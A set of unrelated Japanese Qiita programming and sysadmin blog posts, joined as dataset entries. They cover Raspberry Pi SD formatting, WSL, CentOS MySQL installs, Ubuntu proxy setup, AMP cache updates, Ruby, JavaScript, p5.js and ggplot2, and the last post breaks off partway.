OmniAICreator/Qiita-1.07M huggingface dataset:
ラズベリーパイが起動しないときに確認すること

# 環境
- RaspberryPi 3, Model B, 1GB RAM
- ACアダプタ（3A）
- SDカード（Transcend, microSD, 64GB）
- [raspbian2.4.5](http://downloads.raspberrypi.org/NOOBS/images/NOOBS-2017-12-01/NOOBS_v2_4_5.zip)
- Windows 10 Pro

## 困った状況
SDカードをフォーマットして、ダウンロードしたraspbianをSDカードへコピー。
SDカードをラズベリーパイへ挿して、その他HDMIやUSBなども挿して、最後に電源コネクタを挿して、OSのインストールを試みたところ、画面には何も表示されず、ラズベリーパイは赤LEDが点灯したまま。

## 解決策
SDカードをバッファローの[Disk Formatter](https://www.buffalo.jp/support/download/detail/?dl_contents_id=60879#1)でFAT32へフォーマットし、再度、SDカードへraspbian2.4.5を貼り付け。
ラズベリーパイへSDカードを挿入して電源をONでOSのインストールが開始される。

## 原因
* 64GBのSDカードはデフォルトでexFAT形式となっており、ラズベリーパイはFAT32（など）を認識するため
* 最初に使ったフォーマットソフトは[SDメモリカードフォーマッター](https://www.sdcard.org/jp/downloads/formatter_4/)はフォーマット形式を選択できないため、64GBのSDカードはexFATへフォーマットされてしまう

## じつは。。。
バッファローのフォーマッターを使っても1度目はダメでした。画面に表示は出ましたが、「Waiting for SD card (settings partition)」という表示で永遠に待機状態になりました。

## もう一度バッファローでフォーマットしようとしたら。。。
「ライトプロテクト」されていますと表示されて、フォーマットできない状態。

## コマンドプロンプトで解除
コマンドプロンプトでdiskpartを実行。
- `list disk` で対象を確認
- `select disk <ディスク番号>` で対象を選択
- `clean` でディスクをクリーンに（？）
- `exit`

## これで解決
再度フォーマットを実行してraspbianをSDカードへコピーしたところ、正常にOSのインストールが開始できました。（今回はWin32 Disk Imagerは使いませんでした。）
WSL・Ubuntuでシンボリックリンクを貼ったら便利だった話

WSL環境下で、Ubuntuを利用し、環境構築をした時の話。
バージョン管理はGithub Desktopでしていたのですが、

GithubDesktop → Win上に存在
Ubuntu → Linux上に存在

で、2つの世界が違うため、しばしばファイルやフォルダがうまく参照できないことがある。

今回も、GithubDesktop上で、git cloneしてきたものの、それがUbuntuから参照できなかった。

▼devフォルダの中にcloneしたつもりでも…
<img width="337" alt="ubuntu.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/393888/df443783-d815-8a17-8be8-5c137234bc41.png">


▼Ubuntu側のdevフォルダには何も入っていない
<img width="337" alt="ubuntu.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/393888/920b6199-6259-449b-da3c-6fa135410480.png">

そこで、シンボリックリンクを張り、win上のフォルダ名で、Ubuntuからも目的のファイルにたどり着きやすくしました。

### シンボリックリンクとは
ファイル名の「本名」が「ハードリンク」というのに対して、ファイル名の「別名」を「シンボリックリンク」というそうです。

「別名」といっても、わかりにくいものではなく、普段私たちが目にしている「ファイル名」「フォルダ名」がこの「別名」にあたるそうです。

▼詳しくはこチラ
[「ls -l」コマンドの表示からファイルの属性を理解しよう](https://www.atmarkit.co.jp/ait/articles/1605/18/news015_3.html)

ある特定のフォルダ（ディレクトリ）にリンクを張る（行きやすくする）には、以下のようにコマンドを入力します。

```
ln -s ディレクトリ名 リンク名
```

例えば今回はwin上にあるこちらのディレクトリに、ubuntuにて`some_app_name`という名前を入力したら簡単にアクセスできるようにしたかったので、、、

```
ln -s /mnt/c/dev/some_app_name some_app_name
```
と入力。これで、ubuntu上で、`cd some_app_name`と入力したら、win上の`/mnt/c/dev/some_app_name some_app_name`フォルダに行けるようになりました＾＾

## 参考リンク
[【 ln 】コマンド――ファイルのハードリンクとシンボリックリンクを作る](https://www.atmarkit.co.jp/ait/articles/1605/30/news022.html)
CentOS6.7にPHP5.4とMySQL5.5を入れると「libmysqlclient」が競合エラーになる件

CentOS6.7にPHP5.4とMySQL5.5を入れると以下のようなエラーが発生する。

```
Transaction Check Error:
  file /usr/lib64/mysql/libmysqlclient.so.18.0.0 from install of mysql-community-libs-5.5.62-2.el6.x86_64 conflicts with file from package compat-mysql55-5.5.55-1.el6.remi.x86_64

Error Summary
```
これは、
　`php-mysql`
を先に入れて、後から
　`mysql-server`
を入れても

　`mysql-server`
を先に入れて、後から
　`php-mysql`
を入れても同じ。

```
$ yum install php-mysql
```
と

```
$ yum install mysql-server
```
この2つのインストールで競合エラーが発生する。

#解決方法

##PHPのインストール
先にPHP5.4をインストール

```
$ rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
$ yum install yum-utils -y
$ yum repolist all
$ yum-config-manager --enable remi-php54
$ yum install -y php54 php-pdo php-mbstring php-soap php-devel php-gd php-mysql
```

バージョン確認

```
$ php -v
PHP 5.4.45 (cli) (built: Oct 22 2019 13:33:52) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2014 Zend Technologies
```

##libmysqlclient.so.18.0.0の削除
https://downloads.mysql.com/archives/community/
ここから、OS、CPUに合わせたCompatibility Libraries、Server、Clientの3点セットをダウンロードする。

```
$ cd ~
```
でホームディレクトリに移動して、CentOS6.7の64bit版であれば

```
$ wget 'https://downloads.mysql.com/archives/get/p/23/file/MySQL-shared-compat-5.5.62-1.el6.x86_64.rpm'
$ wget 'https://downloads.mysql.com/archives/get/p/23/file/MySQL-client-5.5.62-1.el6.x86_64.rpm'
$ wget 'https://downloads.mysql.com/archives/get/p/23/file/MySQL-server-5.5.62-1.el6.x86_64.rpm'
```

この3点セットをダウンロードする。

##Compatibility Libraries をインストール

```
$ rpm -i MySQL-shared-compat-5.5.62-1.el6.x86_64.rpm
```

##mysql-libsを削除

```
$ yum remove mysql-libs
```

##MySQLサーバー、クライアントをインストール
```
$ rpm -i MySQL-server-5.5.62-1.el6.x86_64.rpm
$ rpm -i MySQL-client-5.5.62-1.el6.x86_64.rpm
```

##バージョン確認
```
$ mysql --version
mysql  Ver 14.14 Distrib 5.5.62, for Linux (x86_64) using readline 5.1
```
成功！

#蛇足
##Apacheのインストール及び自動起動
```
$ yum -y install httpd
$ service httpd start
$ chkconfig httpd on
```

##MySQLの起動及び自動起動
```
$ service mysql start
$ chkconfig mysql on
```
Githubのトレンドを日付で検索できる「Github Trending Log」というウェブサービス作りました




# 作るきっかけ

[Github Trending](https://github.com/trending)を知っていますか？
Githubのトレンドをプログラミング言語ごとに表示できるページです。
色々とおもしろいリポジトリを見たりできるので、最近チェックするようになりました。
このページを毎日チェックしようと思ってはいても、色々忘れっぽい性格なので、チェックし忘れることも多々ありました。そこで、データを保存しておいて、次の日でも見れるようにしたいと思いから「[Github Trending Log](https://github-trending-log.netlify.app/)」というサイトを作りました。


# どんなサイト
見たい言語と日付を指定することで、その日付のトレンド情報が見れるサイトです。

URL: <https://github-trending-log.netlify.app/>

使い方
日付、プログラミング言語、時間を、順番に入力してロードボタンを押すとトレンドデータが表示されます。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/507586/47257a91-8f6d-86f8-01c8-6f4689c76667.png "Github Trending Logのページ")

今のところプログラミング言語は、

- python
- c#
- javascript
- typescript
- c
- c++
- java

が見れます。

# 制作するのに使ったもの

| | 使ったもの|
|---|---|
|サーバー | Netlify|
|フロント | Nuxt.js(SPA), JavaScript|
|データ更新、保存 | Google Cloud Platform, Python|

ホスティングサーバーには、無料で使えるNetlify、
フロント部分はNux.jsのSPAモードでJavaScriptを使用、データの更新とAPI部分はPythonで作りました。

## トレンドデータの更新
データの更新には、Cloud FunctionsとCloud Storageを使いました。
Cloud Schedulerを利用して、一時間ごとにCloud Funcitonsを実行することで、トレンドの情報を一時間ごとに集めています。トレンドの情報を集めるのには、[Github Unofficial Trending API](https://github.com/huchenme/github-trending-api)を使って集めています。
最初は、GithubのAPIでトレンド情報をとれるものがあるのではないかと思い、調べていました。
なさそうだったので、非公式のものを使っています。

集めた情報はCloud Storageに保存するようにしています。

## フロント
Nuxt.js(SPA)を使いました。
SPA(Single Page Application)は、サーバーではほぼ何もせず、サイトを見てる側でページを書き換えたりしているらしいです(詳しくわかってない)。
データはCloud FunctionsでAPIを作って、そのAPIを呼び出してデータを取得、表示するようにしています。

UI部分は、Nuxt.jsのプロジェクトを作るときに、オプションとして出てきた[Vuetify](https://vuetifyjs.com/ja/)を使いました。ほぼほぼデフォルトのままです。Bootstrapと同じようにgridとか使えます。カード部分も、Vuetifyですでに用意されていたのでそれを使いました。すごく便利です。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/507586/da67287c-d5e9-5926-35e6-1f9f14d8133c.png "Vuetifyのデフォルトページ")

## サーバー
サーバーには[Netlify](https://www.netlify.com/)を使いました。
帯域制限は1か月100GBまでは無料なので、ほぼほぼ無料で使えます。
Githubのmasterブランチにコミットしたら、自動でデプロイしてくれる
のも使いやすかったです。

最近Vercelというものも知りました。
Vercelは帯域制限ないみたいなので、Vercelも使ってみたいです。

# 今後
一日のうちの時間ごとのトレンドを見てみると、変化がないことが多いです。おそらく一日に一回更新だと思っているので(詳しくは調べられていません)、日付の選択部分を消してもっと使いやすくしていきたいと考えています。

さらに、言語を選択して数日分のトレンドも見れ、同じものは繋げて表示できたらいいなぁとも考えています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/507586/323bda3b-106f-9e6c-8fc9-b9f034c896e4.png)

トレンドを見れる言語も少しずつ増やしていこうと思っています。
ぜひ使ってみてください！
Tensorflow.jsをNodejsで高速化しようとしたが、旧型CPUでは、WebGLの方が高速だった話

Tensorflowjsで2000年からの株価を元に、新値３本値のAI予測をブラウザで行っていたが、Nodejsで高速化できないかトライしてみた。CPUは激古のi5-650。

作業手順は、こちら参照。
https://randomwalkjapan.blogspot.com/2020/06/nodejstensorflow-how-to-setup.html

プログラムはこちら。
https://github.com/tanakayutaka/Tensorflow.js-tools-/blob/master/Nodejs%20Tensorflow%20BM%20test

結論は、

NodejsでNodeジェネリックでないTensorflow処理　６分
NodejsでNodeジェネリックなTensorflow処理　CPUが古すぎて動作せず

ChromeでハードウエアアクセラレーションON　４分  <== 最速
ChromeでハードウエアアクセラレーションOFF　１２分

ということで、最近のCPUを持っていない限り、Tensorflowをジェネリックで走らせることはできず、ただWebGLを使った方が早いという結論でした。どのくらい最近のCPUから対応するのかは不明です。

ただ、最新のCPUだと、tfjs-nodeと、tfjs-node-gpuが準備されていて、これだとWebGLを凌ぐ速度がでるのでは、と思います。

なお、今のまま走らすと、次のコメントがコンソールに出力されてかわいいです。

============================
Hi there �. Looks like you are running TensorFlow.js in Node.js. To speed things up dramatically, install our node backend, which binds to TensorFlow C++, by running npm i @tensorflow/tfjs-node, or npm i @tensorflow/tfjs-node-gpu if you have CUDA. Then call require('@tensorflow/tfjs-node'); (-gpu suffix for CUDA) at the start of your program. Visit https://github.com/tensorflow/tfjs-node for more details.
============================
Ubuntu20.04導入から環境構築まで

# はじめに
今回研究室でのwindowsマシンが処理が重たく使い勝手が悪いと感じたため、Ubuntuマシンへと変えてしまっても良いのではないか？ということでこれからUbuntuマシンへクリーンインストールする方に参考になればと思う．
**Qiitaに初めての投稿となるので温かい目でみていただければと思う．**
**デュアルブートする人は対象ではないのでご注意を!!**

## Ubuntuのインストール 
- [Ubuntu Desktop 20.04 LTS](https://jp.ubuntu.com/download)からイメージファイルをダウンロード
インストールメディアを作成する際，**8GB以上のUSBメモリ**を使用する．

- 作成したメディアを改造したいPCに差し込みBIOSを起動．
BOOTメニューから先ほどのインストールメディアから起動する．

- Ubuntuが起動しセットアップを行う．
言語は**English**で進める，
*CUIで動かすときにエラーメッセージが文字化けして読めないため英語版で進めることを推奨する．

## プロキシの設定が必要な方（ネットワーク設定）
- 左下のタブから**setting**を選択（歯車）する．

- 左のタブのNetworkからIntel Ethernetの欄にあるConnected...の右端の歯車からIPv4タブを選択し、IPv4 MethodをManualにして，使用するアドレス.DNSにも記述する．

- Networkの欄に戻りVPNのNetWork Proxyの歯車からManualを選択し必要なプロキシを入力する．

### apt,Git,vimをダウンロードする
デスクトップ上で**Ctrl + Alt + T**を入力するとターミナルが開く．

#### apt.confファイルにProxy設定を追加する
ターミナル内での操作を行う．

>sudo vi /etc/apt/apt.conf

**viが分からない場合は調べてください．**

---

[apt.conf]が開くのでそこに下記の内容を記載する．

```sh:apt.conf
Acquire::http::proxy "http://proxy server:port";
Acquire::https::proxy "https://proxy server:port";

```
記入が終わったら『:wq』で保存、終了する．
終了したら下記のものを実行して．
>sudo apt update
>sudo apt upgrade

---

#### vimをインストールする

.bashrcを編集するためにvimをインストールする．
vimの使い方は[こちら](https://qiita.com/okamos/items/c97970ab34ff55ff3167)

```sh:vim_install
$ sudo apt install vim
```

---

#### Gitをインストールする

プロキシ環境下でGitを使用するために、下記のコマンドを実行する．

```sh:Git_install
$ sudo apt install git
```

---

pyenvとpyenv-virtualenvを所得するためgit cloneを下記のコマンドで実行する．

```sh:pyenv_github
$ git clone https://github.com/yyuu/pyenv.git ~/pyenv
```
```sh:pyenv-virtualenv_github
$ git clone https://github.com/yyuu/pyenv-virtualenv.git ~/pyenv/plugins/pyenv-virtualenv
```

---

### pyenvインストール
pyenvをインストールするためにproxyの環境設定をする必要がある．
下記のものを追加して保存する．

```sh:./.bashrc
export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
if command -v pyenv 1>/dev/null 2>&1; then
  eval "$(pyenv init -)"
fi
eval "$(pyenv virtualenv-init -)"
export PATH=/usr/local/cuda-7.5/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-7.5/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}
export CUDA_HOME=/usr/local/cuda
export http_proxy="http://<proxyserver>:<port>"
export https_proxy="https://<proxyserver>:<port>"
export HTTP_PROXY="http://<proxyserver>:<port>"
export HTTPS_PROXY="https://<proxyserver>:<port>"
```

反映する必要があるため下記のコマンドを実行する．

```
$ source ./.bashrc
```

pyenvインストールを実行しようとするとUbuntuのこのバージョンではなぜか動かない．
ダウンロードツールaria2をインストールする．
下記のコマンドを実行する．

```
$ sudo apt install aria2
```

pyenv,pyenv-virtualenvのインストール

```
$ pyenv install <version>
$ pyenv virtualenv <version> <env_name>
```
##補足
[日本語入力する方法](https://www.hiroom2.com/2018/04/29/ubuntu-1804-ibus-mozc-ja/)

## まとめ
Ubuntuの導入をはじめ，pyenvのインストールが上手く通らない問題があり，かなり時間がかかった．
今後もどんどんOSを飛ばしていきたいと考えている．
AMPキャッシュを手動で更新する方法

## はじめに
AMPに対応したページは、Google側のプロバイダにキャッシュし、そこからキャッシュされたページが配信され、ウェブページの高速化を実現しています。
そこで、キャッシュされたページをどのように更新するのかというのが問題となってきます。
この記事では、そのAMPキャッシュをupdate-cacheという仕組みを使い、手動で更新する方法を記載します。
WordPressなんかでは、記事を更新したときにAMPページのキャッシュも更新するようにしたり対応する必要があります。

## 手順
1. 秘密鍵、公開鍵を作成する
2. 公開鍵をアプリケーションサーバーに設置する
3. update-cache をリクエストするプログラムの作成
4. update-cache を実行

## 秘密鍵、公開鍵を作成する
ローカルで秘密鍵、公開鍵を作成する。

```
$ openssl genrsa 2048 > private-key.pem
$ openssl rsa -in private-key.pem -pubout > apikey.pub
```

## 公開鍵をアプリケーションサーバーに設置する
公開鍵をサーバーに設置します。以下の場所に置いてください。

```
/ドキュメントルート/.well-known/amphtml/apikey.pub
```

WEBサーバーの設定ファイルに、コンテンツタイプに「text/plain」を追加する必要があります。
Nginxの場合の設定方法です。

```/etc/nginx/mime.types
types {
     # 末尾に追加
     text/plain    pub;
}
```
nginx再起動

```
$ sudo systemctl restart nginx
```


公開鍵「apikey.pub」にアクセス可能であること、コンテンツタイプが「text/plain」になっていることを確認します。

```
$curl -I https://example.com/.well-known/amphtml/apikey.pub
 ```

HTTP箇所とcontent-type箇所が、以下のように表示されていれば問題なく設定できています。

```
HTTP/2 200
content-type: text/plain
 ```

## update-cache をリクエストするプログラムの作成
本来であれば、Googleの公式ドキュメント「[AMPコンテンツを更新する](https://developers.google.com/amp/cache/update-cache)」を参照して、手動で作成した鍵を使いupdate-cacheリクエストを行うのですが、一連の流れをシェルスクリプトで作成してくれている先人がいるので、ありがたく使用させていただきましょう。
https://github.com/sizaki30/google-amp-update-cache

スクリプトをダウンロードしたら、秘密鍵の場所を変更します。

```
# private_keyの部分を変更する。
private_key='/秘密鍵の場所をフルパスで指定/private-key.pem'
```

スクリプトをサーバーの任意の場所にアップロードしてください。

## update-cache を実行
AMPキャッシュを更新したいページのURLを指定して、スクリプトを実行します。（URLはクオートすることをオススメします）「OK」と表示されれば update-cache リクエスト成功です。

```
$sudo sh google-amp-update-cache.sh 'https://example.com/test.html'
OK
```
Azure Databricksについて端的にまとめると、、

Azure Databricksは高速で処理できる、Apache Spackベースの分析プラットフォームです。
様々なデータソースからデータを読み取って、Sparkで変換や分析ができます。
Sparkクラスターは自動スケーリングの設定や、一定時間アイドル状態だと終了するといった設定もでき、無駄なコストも省けます。

##クラスターとは・・・
Notebook とジョブを実行するための計算リソースと構成のセットです。

##Apache Sparkとは・・・
莫大なデータに対して分散処理をおこなうオープンソースのフレームワークで、大規模な分析ソリューションでは必ず検討されています。

分散処理でいうとHadoopがありますすが、もちろんSparkとの違いがあります。

|フレームワーク|言語|処理方法|
|---|---|---|
|Spark|Scala|メモリにデータ保存（インメモリ）|
|Hadoop|Java|入出力のたびにストレージアクセス（MapResuce）|

Sparkはインメモリなので高速に処理できるので頻繁に入出力が発生する場合に力を発揮します。

##使いどころ
Azureソリューションは大きく分けて４つのフェーズに分かれますが、

- 取込み
- 保管
- 準備とトレーニング
- モデル化と提供

Databricksは「準備とトレーニング」フェーズで登場します。
データを抽出（Extract）して変換（Transform）して格納（Load）します。
俗に言う「ETL」です。
※DatabricksはETLの類になります。

##コンポーネント
- Spack SQL + DataFrames<br/>
構造化データを処理するSpark SQLと、分散型コレクションのデータフレームです。
- Streaming<br/>
リアルタイムのデータ処理と分析です。
- MLlib<br/>
Machine Learningライブラリです。
- GraphX<br/>
グラフおよびグラフ計算です。
- Spack Core API<br/>
下記の言語をサポートしています。
    - R
    - SQL
    - Python
    - Scala
    - Java

私はPythonを少し触れるのでPythonで書けるのは良いなーと思っていますが、処理速度が遅いことが課題に挙がっているようです。
※Scalaのほうが約10倍ほど速いそうです。

もともとSparkはScalaで書かれているので、Scalaを使うべきなのか悩みどころです。
サイエンティストはライブラリの豊富さからもPythonに馴染みがある人が多いと思いますが、実際のところPythonとScala、どっちを使うべきなんでしょう？

速度の観点からいうとScalaのほうが良さそうですが、扱いやすさだとPythonのほうが強そうです。（PySparkの登場でPythonもSparkにおいて盛り上がっているようです）

##良さそうなところ
Databricksには対話式で実行できるNotebookがあります。（jupyter notebookのようなもの）
このNotebookの特徴は複数の言語を使えるところだと思います。
「%scala」って頭に書けばScalaでコードが書けます。

私はPythonで形態素解析して文章の特徴を調べたりして遊んでいますが、もちろんすべてPythonで書いています。
データ量も大したことないので遅さに不満を感じていませんが、これがとてつもないデータ量だとしたらきっとストレスに感じてしまうかもしれません。

上で述べたとおり、分析に関して言えばPythonだと思いますが、処理速度はScalaが優勢です。

こんな時、たとえば形態素解析だけScalaに任すことができれば、形態素解析処理時間が短縮されて、結果、全体の処理時間も大幅に短縮できるかもしれません。

Notebookで作成した予測モデルをバッチスクリプトとして定期実行させることができるのも大変魅力的です。
しかも、Sparkクラスターのスペックなども設定できるので、処理実行時間に縛りがある場合などは高性能のSparkクラスターを設定して利用すれば実現できそうです。

ほかにも沢山の機能があり一度では伝えきれないので、また投稿しようと思います。

##実際にDatabricksを使用してみました（Scala編）
下記に、Databricksの作成からデータウェアハウスへの格納までの手順を備忘録としてまとめました。
[【備忘録】Azure Databricksを使ってDataWarehouseにデータを書き出してみる](https://qiita.com/pytomo/items/af0fd26b526c426f2c57)

##参考
[Azure Databricks のドキュメント](https://docs.microsoft.com/ja-jp/azure/azure-databricks/)
[Ruby] インスタンスメソッドでインスタンス変数を扱う

Progate学習メモ
インスタンスメソッドと、インスタンス変数についてはこちら
[[Ruby] メソッドとか、インスタンスメソッドとか・・・](https://qiita.com/Hai-dozo/items/c4075de58675229f2ab3)
[[Ruby] クラス、インスタンス変数、インスタンス、とか・・・](https://qiita.com/Hai-dozo/items/61564618a1315c139f34)

---
インスタンスメソッドでインスタンス変数を扱っている様子↓

```.rb
class Menu
  # インスタンス変数
  attr_accessor :name
  attr_accessor :price

  # インスタンスメソッドでインスタンス変数を扱う
  # 「self.変数名」とすることでインスタンスメソッド内でインスタンス変数を扱えるようになる
  def info
    return "#{self.name}: ¥#{self.price}" 
  end
end

# インスタンス
menu = Menu.new()
menu.name = "クリームパン"
menu.price = 300

puts menu.info
```

出力

```console
クリームパン: ¥300
```

---
参考：[Progate](https://prog-8.com)
EC-CUBEを 4.0.3 から 4.0.4 へのアップデートした際のコマンドメモ

EC-CUBE4.0.3 から EC-CUBE 4.0.4 へのアップデートのテストをした。
公式のドキュメントにコピーコマンドなどが載っていなかったのでテストをした際のコマンドのメモを残しておく。
作業ディレクトリなどは適宜書き換えて使ってね。

公式のドキュメントは以下
https://doc4.ec-cube.net/update

```sh
1. サイトのバックアップ

必ず事前にバックアップをお願いします。

2. メンテナンスモードを有効にする（バージョン4.0.1以降）

touch .maintenance

3. EC-CUBEのソースファイルをバージョンアップしたものに置き換え
4. 個別ファイル差し替え

cd eccube403to404manual/
rm -rf app/config/eccube app/DoctrineMigrations bin src html vendor
cd ..
wget http://downloads.ec-cube.net/src/eccube-4.0.4.zip
unzip eccube-4.0.4.zip
cd eccube-4.0.4

cp -rp app/config/eccube ../eccube403to404manual/app/config/
cp -rp app/DoctrineMigrations  ../eccube403to404manual2/app/
cp -rp bin ../eccube403to404manual/
cp -rp src ../eccube403to404manual/
cp -rp html ../eccube403to404manual/
cp -rp vendor ../eccube403to404manual/
cp -rp app/Customize/Resource ../eccube403to404manual/app/Customize/

cp -p composer.json composer.lock .htaccess ../eccube403to404manual/
cd ../eccube403to404manual/
bin/console cache:clear --no-warmup

5. composer.json/composer.lockの更新

bin/console eccube:composer:require-already-installed

6. スキーマ更新/マイグレーション

bin/console doctrine:schema:update --force --dump-sql
bin/console doctrine:migrations:migrate

9. メンテナンスモードを無効にする（バージョン4.0.1以降）

rm .maintenance

```
javascript超入門(2020/06/16)

###主な演算子

| 演算子       |       意味 | 
|:----|---------:|
|a + b| a+b|     
|a - b|a-b|
|a * b|a×b|
|a / b|a÷b|
|a % b|a÷bの余り|
|a ** b|aのb乗|
|a++ または ++a|a+1してaに代入|
|a-- または --a|a-1してaに代入|   
|a += b|a+bしてaに代入|
|a -= b|a-bしてaに代入|
|a *= b|a×bしてaに代入|
|a /= b|a÷bしてaに代入|
|a %= b|a÷bの余りをaに代入|   


###配列

配列は複数のデータを１つにまとめて管理するのに使われる。

###配列の作成

```JavaScript:sample.js
let 変数名　＝　[データ0,データ1,データ2,...,データX];
```

###配列の読み取り
```JavaScript:sample.js
変数名[インデックス番号];
```

配列に登録されているでーたには0,1,2,...と番号が付く。この番号のことをインデックス番号という。

###for...of文

```JavaScript:sample.js
for(let 変数名 of 対象となる配列)　｛
　　　処理内容をここに書く
｝
```


for...of文は繰り返しの一種で配列の項目数分、｛｝内の処理を実行する。
let　変数名　で繰り返しに使う変数を定義。定義した変数には繰り返しの処理が行われるたびに配列のデータが1つ代入される。


###配列のメソッド

| メソッド名       |       意味 | 
|:----|---------:|
|配列の変数名.pop( )| 配列の最後のデータを削除する|     
|配列の変数名.push(データ)|配列の最後にデータを追加する
|配列の変数名.shift( )|配列の最初のデータを削除する|
|配列の変数名.unshift(データ1,データ2,...)|配列の最初にデータ1,データ2,...を追加する|


###テンプレート文字列
```JavaScript:sample.js
const li = '<li>${item}</li>';
｝
```
`（バックティック）で囲まれた文字列のことをテンプレート文字列という。
`で囲んだ部分のテキストを文字列データにする。'や"と違い文字列中に変数などを埋め込むことができる。

```JavaScript:sample.js
${変数名}
```

変数を埋め込むにはこの形を使う。テンプレート文字列の${}内ではファンクションを呼び出したり、計算が行える。テンプレート文字列は文字列の途中で改行できる。

###insertAdjacentHTMLメソッド


```JavaScript:sample.js
取得した要素.insertAdjacentHTML('挿入する場所',挿入する要素);

例
document.getElementById('list').insertAdjacentHTML('beforeend'li,);
```

###挿入する場所を指定するキーワード

| 演算子       |       意味 | 言い換え|
|:----|---------:|---------:|
|'beforebegin'| 取得した要素の前に挿入|   取得した要素の開始タグの前に挿入|  
|'afterbegin'|取得した要素の子要素として挿入。すでに子要素がある場合はその前に挿入。| 取得した要素の開始タグのすぐ後に挿入
|'beforeend'|取得した要素の子要素として挿入。すでに子要素がある場合はその後に挿入。| 取得した要素の終了タグのすぐ前に挿入
|'afterend'| 取得した要素の後に挿入| 取得した要素の終了タグの後に挿入
[Ruby] メソッドとか、インスタンスメソッドとか・・・

Progate学習メモ
混乱する

# メソッド
こういう書き方されているもの。

```.rb
def info
  # 処理
end
```


# インスタンスメソッド
クラスの中で定義し、インスタンスに対して呼び出すメソッド

```.rb
# Menuクラス
class Menu
  # recommended_menuというクラスメソッド
  def recommended_menu(name)
    return "今日のおすすめは#{name}です。"
  end
end

# インスタンス
menu = Menu.new

# インスタンスに対してrecommended_menuメソッドを呼び出す
puts menu.recommended_menu("明太パン")
```

実行結果↓

```
今日のおすすめは明太パンです。
```

---
参考：[Progate](https://prog-8.com)
P5.js 日本語リファレンス(updatePixels)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の updatePixels関数を説明します。

## updatePixels() 

### 説明文

表示ウィンドウを pixels配列のデータで更新します。 loadPixels() と組み合わせて使用​​します。配列からピクセルを読み取るだけの場合、updatePixels() を呼び出す必要はありません。更新は変更を適用するためにのみ必要です。pixels配列が操作されたとき、または set() が呼び出されたときは常に updatePixels() を呼び出す必要があります。

### 構文

updatePixels([x], [y], [w], [h])

### パラメタ

- x
Number：更新する領域の左上隅のx座標(オプション)

- y
Number：更新する領域の左上隅のy座標(オプション)

- w
Number：更新する領域の幅(オプション)

- h
Number：更新する領域の高さ(オプション)


### 例1

```javascript
let img;
function preload(){
  img = loadImage('assets/mountain.jpg');
}

function setup(){
  createCanvas(300, 200);
  
  image(img, 0, 0, width, height);

  let d = pixelDensity();

  // halfImageのサイズは dが1のとき 4 * (300*1) * (200*1/2) = 120000
  let halfImage = 4 * (width * d) * (height * d / 2);

  // pixels配列にキャンバス上の画像(サイズ:300x200x4)を読み込む
  loadPixels() ;
  
  // 画像の上半分(0～halfImage分)を画像の下半分に設定します
  for (let i = 0; i < halfImage; i++) {
    pixels[i + halfImage] = pixels[i];
  }
  
  // キャンバス上の画像を更新します
  updatePixels() ;
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/focaQQZ9K


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
R:ggplot2:  facetで分割後、geom_textで相関係数やp値を記入する (サンプル付)

#R:ggplot2: facetで分割したグラフに相関係数やp値を記入

下記のようなグラフを作成する方法を紹介します。

![sample.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/380579/61d2a2ce-aaa9-a394-bec4-5fb1c34224f1.png)


Rに付属のirisデータを用いSepal.lengthとPetal.Widthの比較を種ごとに行うことにします。
サンプルデータirisを使っているのでコピペで動きます。動かなかったらライブラリの不足、テキストが表示されなかったらテキストの座標がグラフの外になっているので調整してください。

コード全体

```R
library(tidyverse)
library(ggplot2)
cors = iris %>% group_by(Species) %>% 
  summarize(cor = round(cor.test(Sepal.Length, Petal.Width)$estimate,3), p = round(cor.test(Sepal.Length, Petal.Width)$p.value,3)) %>% 
  as.data.frame() %>% mutate(p = ifelse(p < 0.05, "p < 0.05", paste("p =", p )))

g1 = ggplot(iris, aes(x = Sepal.Length, y = Petal.Width)) + geom_point() + 
  geom_smooth(method = "lm",se=FALSE, na.rm = T) + facet_grid(~ Species) + 
  xlab("Sepal.Length") + ylab("Petal.Width") + 
  geom_text(data=cors,mapping = aes(x = -Inf, y = -Inf, label = paste("r =",cor)),hjust = -0.1,vjust = -55) + 
  geom_text(data=cors,mapping = aes(x = -Inf, y = -Inf, label = p), hjust = -0.1,vjust = -53)

ggsave("sample.png", g1, width=10, height=8)
```


使用するirisデータ

```R
> head(iris)
  Sepal.Length Sepal.Width Petal.Length Petal.Width Species
1          5.1         3.5          1.4         0.2  setosa
2          4.9         3.0          1.4         0.2  setosa
3          4.7         3.2          1.3         0.2  setosa
4          4.6         3.1          1.5         0.2  setosa
5          5.0         3.6          1.4         0.2  setosa
6          5.4         3.9          1.7         0.4  setosa
```



下記で種ごとに分割した回帰直線が引かれたグラフができる

```R
ggplot(iris, aes(x = Sepal.Length, y = Petal.Width)) + geom_point() + 
  geom_smooth(method = "lm",se=FALSE, na.rm = T) + facet_grid(~ Species) + 
  xlab("Sepal.Length") + ylab("Petal.Width")
```

これに相関係数と相関検定のp値を書き込んでいくため、geom_text()を使う。
まずはgeom_text()に渡すデータを作成する。

```R
cors = iris %>% group_by(Species) %>% 
  summarize(cor = round(cor.test(Sepal.Length, Petal.Width)$estimate,3), p = round(cor.test(Sepal.Length, Petal.Width)$p.value,3)) %>% 
  as.data.frame() %>% mutate(p = ifelse(p < 0.05, "p < 0.05", paste("p =", p )))

#ifelse()の使い方
# ifelse(条件, trueのとき返す値, falseのとき返す値)
```

以下のデータフレームができる。

```R
>cors
     Species   cor         p
1     setosa 0.278 p = 0.051
2 versicolor 0.546  p < 0.05
3  virginica 0.281  p < 0.05

#> geom_textに渡すデータ 
